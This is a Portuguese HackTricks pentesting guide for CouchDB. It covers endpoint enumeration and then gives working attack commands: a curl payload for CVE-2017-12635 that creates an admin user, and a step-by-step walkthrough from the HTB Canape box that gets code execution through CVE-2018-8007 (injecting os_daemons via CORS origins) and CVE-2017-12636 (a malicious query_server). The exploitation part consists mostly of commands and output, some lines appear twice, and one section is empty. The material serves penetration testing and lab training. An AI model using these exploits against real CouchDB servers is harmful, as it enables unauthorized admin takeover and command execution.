21 KiB
5984,6984 - Pentesting CouchDB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Informações Básicas
CouchDB é um banco de dados orientado a documentos e dentro de cada documento os campos são armazenados como mapas de chave-valor. Os campos podem ser um par chave/valor simples, lista ou mapa.
Cada documento armazenado no banco de dados recebe um identificador único em nível de documento (_id
) bem como um número de revisão (_rev
) para cada alteração que é feita e salva no banco de dados.
Porta padrão: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Enumeração Automática
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Enumeração Manual
Banner
curl http://IP:5984/
Esta ação emite uma solicitação GET para a instância instalada do CouchDB. A resposta deve se parecer com uma das seguintes:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Observe que se ao acessar a raiz do couchdb você receber um 401 Unauthorized
com algo como: {"error":"unauthorized","reason":"Authentication required."}
você não será capaz de acessar o banner ou qualquer outro endpoint.
{% endhint %}
Enumeração de Informações
Estes são os endpoints onde você pode acessar com uma requisição GET e extrair algumas informações interessantes. Você pode encontrar mais endpoints e descrições mais detalhadas na documentação do couchdb.
/_active_tasks
Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo./_all_dbs
Retorna uma lista de todos os bancos de dados na instância do CouchDB./_cluster_setup
Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster./_db_updates
Retorna uma lista de todos os eventos de banco de dados na instância do CouchDB. A existência do banco de dados_global_changes
é necessária para usar este endpoint./_membership
Exibe os nós que fazem parte do cluster comocluster_nodes
. O campoall_nodes
mostra todos os nós que este nó conhece, incluindo os que fazem parte do cluster./_scheduler/jobs
Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas./_scheduler/docs
Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estadoscompleted
efailed
. Para cada documento, ele retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino e outras informações./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
O endpoint/_node/{node-name}
pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar/_node/_local
para recuperar essa informação./_node/{node-name}/_stats
O recurso_stats
retorna um objeto JSON contendo as estatísticas para o servidor em execução. A string literal_local
serve como um alias para o nome do nó local, então para todas as URLs de estatísticas,{node-name}
pode ser substituído por_local
, para interagir com as estatísticas do nó local./_node/{node-name}/_system
O recurso _system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução_._ Você pode usar ___local
como {node-name} para obter informações do nó atual./_node/{node-name}/_restart
/_up
Confirma que o servidor está ativo, em funcionamento e pronto para responder a solicitações. Semaintenance_mode
fortrue
ounolb
, o endpoint retornará uma resposta 404./_uuids
Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância do CouchDB./_reshard
Retorna uma contagem de trabalhos completados, falhados, em execução, parados e o total, junto com o estado do resharding no cluster.
Mais informações interessantes podem ser extraídas conforme explicado aqui: https://lzone.de/cheat-sheet/CouchDB
Lista de Bancos de Dados
curl -X GET http://IP:5984/_all_dbs
Se essa solicitação responder com um 401 não autorizado, então você precisa de credenciais válidas para acessar o banco de dados:
curl -X GET http://user:password@IP:5984/_all_dbs
Para encontrar Credenciais válidas, você pode tentar forçar bruta do serviço.
Este é um exemplo de uma resposta couchdb quando você tem privilégios suficientes para listar bancos de dados (É apenas uma lista de dbs):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Informações do Banco de Dados
Você pode obter algumas informações do banco de dados (como número de arquivos e tamanhos) acessando o nome do banco de dados:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista de Documentos
Listar cada entrada dentro de um banco de dados
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Ler Documento
Leia o conteúdo de um documento dentro de um banco de dados:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Escalação de Privilégios no CouchDB CVE-2017-12635
Graças às diferenças entre os analisadores de JSON do Erlang e do JavaScript, você poderia criar um usuário administrador com as credenciais hacktricks:hacktricks
com a seguinte solicitação:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Mais informações sobre essa vulnerabilidade aqui.
CouchDB RCE
Erlang Cookie
Nos documentos do CouchDB, na seção de configuração de cluster, fala sobre as diferentes portas usadas pelo CouchDB:
CouchDB em modo cluster usa a porta
5984
assim como em standalone, mas também usa5986
para APIs locais de nó.Erlang usa a porta TCP
4369
(EPMD) para encontrar outros nós, então todos os servidores devem ser capazes de se comunicar entre si nesta porta. Em um Cluster Erlang, todos os nós estão conectados a todos os outros nós. Uma malha.
E então há um aviso interessante:
Se olharmos na lista de processos, podemos ver o cookie, “monster”:
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Você pode ler esta seção para aprender como abusar dos cookies do Erlang para obter RCE.
Além disso, você pode ler alguns relatórios de máquinas Canape HTB como este para ver e praticar como explorar essa vulnerabilidade.
CVE-2018-8007 bem-sucedido com permissões de escrita no local.ini
Ao escrever este post, descobri que um novo CVE havia sido divulgado para o CouchDB pela mdsec, CVE-2018-8007. Ele também requer permissões de escrita no arquivo local.ini
, então não é uma opção útil para o Canape. Mas, como já tornei o arquivo editável como root, vamos ver se conseguimos fazê-lo funcionar.
Comece com um local.ini
limpo e agora editável (e um backup):
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Podemos usar o curl para modificar as origens no arquivo local.ini
. A vulnerabilidade aqui é que, se usarmos o curl para colocar uma nova origem e em seguida novas linhas, podemos escrever informações adicionais, incluindo um novo cabeçalho e detalhes. Então, vamos tirar vantagem do campo [os_daemons]
e adicionar um processo para o CouchDB tentar manter em execução:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
No shell root, podemos ver o que muda:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
E ainda assim, o arquivo não está lá:
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
Se olharmos para os processos em execução com "couchdb" na linha de comando, veremos não apenas a linha de comando que nos fornece o valor do cookie que usamos anteriormente, mas também runsrv couchdb
:
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
Se matarmos esse processo, ele volta imediatamente (observe o novo pid):
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
E, ao reiniciar, executa os OS_Daemons:
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Tentativa bem-sucedida via CVE-2017-12636 com permissões de escrita local.ini
CVE-2017-12636 permite a execução de código através do processo couchdb. No entanto, não funcionará nesta configuração.
Existem alguns POCs disponíveis como referência:
- https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
- https://www.exploit-db.com/exploits/44913/
Precisaríamos escrever um novo query_server e, em seguida, invocá-lo. Quando Canape foi lançado, a maioria dos POCs era para couchdb 1.x, mas esta caixa está executando a versão 2, então o caminho dos query_servers da maioria dos POCs não existe. Isso mudou agora, mas vamos seguir os mesmos passos. Primeiro, obtenha a versão e mostre que o caminho 1.X não existe:
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
Atualize com o novo caminho para 2.0:
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
A partir daí, devemos adicionar um query_server e então invocá-lo, mas não somos capazes.
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
Algumas pesquisas no Google mostram que isso é um problema de permissões. De fato, se verificarmos com nosso shell root, podemos ver que o arquivo local.ini
não é gravável por ninguém, muito menos por www-data:
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
Portanto, isso é um beco sem saída para o Canape. Mas se quisermos tentar fazê-lo funcionar, podemos torná-lo legível com nosso acesso root ou homer e continuar por esse caminho. Faremos um backup do original para podermos ver as mudanças:
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
Agora, voltando ao nosso shell www-data:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
Recebemos de volta o valor anterior para o servidor de consulta cmd, o que significa sucesso. E no shell root, podemos ver que funcionou:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
Agora, devemos ser capazes de criar um db e, em seguida, um documento nesse db, e então solicitá-lo com uma view que mapeia nosso query_server para obter execução.
Criar db e documento:
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
Solicite-o em uma view:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
Resumo com um payload diferente
Shodan
port:5984 couchdb
Referências
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Aprenda a hackear AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.